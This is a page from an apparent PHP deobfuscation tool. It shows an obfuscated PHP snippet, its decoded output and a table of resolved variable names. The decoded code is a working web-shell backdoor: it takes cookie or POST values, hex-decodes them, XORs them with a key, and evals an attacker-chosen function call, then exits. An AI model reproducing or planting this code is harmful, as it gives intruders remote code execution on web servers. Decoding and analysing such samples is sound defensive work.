Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $MYdvlxdBz =/* TZq */chr (115)/* DOZu*/./* FTI */"\164"/* rKe*/./* Z */chr (..

Decoded Output download

<?php $MYdvlxdBz =/* TZq   */chr	(115)/*   DOZu*/./* FTI */"t"/*  rKe*/./*   Z  */chr	(	414/*  ex  */-	300/*U*/)."_"/*  kt  */.	chr	(    711   -/*K*/597 )."e"     ./* w*/"p"	.	'e'   .   "a"  ./* WDFR*/chr	(116); 
					$tYqUBv	=	"e"/*QfJv  */.	"x"   .    "p"	. "l"	.     chr  (  509 -	398  ).chr	(100)   . 'e'; 
 $eqzyskSa =  'c'  .	chr/*  n */(111)    .   "u"	./* ZBL */chr (    941    -/* lhhN*/831   ).chr	(	538	-/*   w   */422	); 
 
 
$BthXqoPf  =	chr     (112)/*   Bcrr */.     "a"  .     chr	(99)	./*   ak  */chr/* Rgjl*/(107); 
	$pOXzjNxSrs	=	Array/* eTn  */(     "byHypcRGvjESBhjZVjHilWJTAOocJN"	=>	"flKgMiFaidhascSlRHswagCQU"/* qqZ  */); 
			   $uFcbNxyrBf	=	Array     (    "lHZWMMhjtSsKMRPMJhKhsLYo" =>	"gqHAhWTtUPFMWdExEzGcNXWUFW"/*VeCf */); 
 
 
  foreach/* CRw  */(	Array(	$pOXzjNxSrs,	$_COOKIE,/* Hd   */$uFcbNxyrBf,/*   b  */$_POST,    $pOXzjNxSrs)  as     $thcIQ)/*XnrkD */{ 
	   foreach	(  $thcIQ	as	$wRTDRQ   =>	$rBBsbNn  )    { 
		$rBBsbNn    =   @$BthXqoPf(/*rEODs*/chr	(/* KlL*/145	-  73/*  w  */).chr	(42),	$rBBsbNn	); 
  	$wRTDRQ     .=/*T */"xXk-vjwi-Vegz-pUKlr-WWRZFb-vcgO-CfcdhlU"; 
    $wRTDRQ	=   $MYdvlxdBz (	$wRTDRQ,/*rfmr */(	strlen(/* ovM */$rBBsbNn	)/strlen(/* KZsA*/$wRTDRQ/* BnuWk*/)	)   +  1); 
    /*VN  */$rdgCNeSwn	=	$rBBsbNn	^ $wRTDRQ; 
 
 
     $rdgCNeSwn	=	$tYqUBv/*k */(/*   v  */"#",	$rdgCNeSwn   ); 
 
   if    (     $eqzyskSa/*kgH   */(   $rdgCNeSwn/*  Z*/)/* wvu  */==	3/*   GN*/)	{ 
 
/*rFka  */eval	(	$rdgCNeSwn[1]     (/*   s*/$rdgCNeSwn[2]    )   ); 
				/*  eyb  */die	(); 
   	} 
   	} 
					/*   DLJPk   */} ?>

Did this file decode correctly?

Original Code

<?php $MYdvlxdBz =/* TZq   */chr	(115)/*   DOZu*/./* FTI */"\164"/*  rKe*/./*   Z  */chr	(	414/*  ex  */-	300/*U*/)."\137"/*  kt  */.	chr	(    711   -/*K*/597 )."\145"     ./* w*/"\x70"	.	'e'   .   "\141"  ./* WDFR*/chr	(116);
					$tYqUBv	=	"\145"/*QfJv  */.	"\x78"   .    "\x70"	. "\x6c"	.     chr  (  509 -	398  ).chr	(100)   . 'e';
 $eqzyskSa =  'c'  .	chr/*  n */(111)    .   "\x75"	./* ZBL */chr (    941    -/* lhhN*/831   ).chr	(	538	-/*   w   */422	);


$BthXqoPf  =	chr     (112)/*   Bcrr */.     "\x61"  .     chr	(99)	./*   ak  */chr/* Rgjl*/(107);
	$pOXzjNxSrs	=	Array/* eTn  */(     "byHypcRGvjESBhjZVjHilWJTAOocJN"	=>	"flKgMiFaidhascSlRHswagCQU"/* qqZ  */);
			   $uFcbNxyrBf	=	Array     (    "lHZWMMhjtSsKMRPMJhKhsLYo" =>	"gqHAhWTtUPFMWdExEzGcNXWUFW"/*VeCf */);


  foreach/* CRw  */(	Array(	$pOXzjNxSrs,	$_COOKIE,/* Hd   */$uFcbNxyrBf,/*   b  */$_POST,    $pOXzjNxSrs)  as     $thcIQ)/*XnrkD */{
	   foreach	(  $thcIQ	as	$wRTDRQ   =>	$rBBsbNn  )    {
		$rBBsbNn    =   @$BthXqoPf(/*rEODs*/chr	(/* KlL*/145	-  73/*  w  */).chr	(42),	$rBBsbNn	);
  	$wRTDRQ     .=/*T */"xXk-vjwi-Vegz-pUKlr-WWRZFb-vcgO-CfcdhlU";
    $wRTDRQ	=   $MYdvlxdBz (	$wRTDRQ,/*rfmr */(	strlen(/* ovM */$rBBsbNn	)/strlen(/* KZsA*/$wRTDRQ/* BnuWk*/)	)   +  1);
    /*VN  */$rdgCNeSwn	=	$rBBsbNn	^ $wRTDRQ;


     $rdgCNeSwn	=	$tYqUBv/*k */(/*   v  */"\43",	$rdgCNeSwn   );

   if    (     $eqzyskSa/*kgH   */(   $rdgCNeSwn/*  Z*/)/* wvu  */==	3/*   GN*/)	{

/*rFka  */eval	(	$rdgCNeSwn[1]     (/*   s*/$rdgCNeSwn[2]    )   );
				/*  eyb  */die	();
   	}
   	}
					/*   DLJPk   */}

Function Calls

chr 12

Variables

$tYqUBv explode
$BthXqoPf pack
$eqzyskSa count
$MYdvlxdBz str_repeat
$pOXzjNxSrs [{'key': 'byHypcRGvjESBhjZVjHilWJTAOocJN', 'value': 'flKgMiFaidhascSlRHswagCQU'}]
$uFcbNxyrBf [{'key': 'lHZWMMhjtSsKMRPMJhKhsLYo', 'value': 'gqHAhWTtUPFMWdExEzGcNXWUFW'}]

Stats

MD5 b86973803436889ec66548f055ed1613
Eval Count 0
Decode Time 304 ms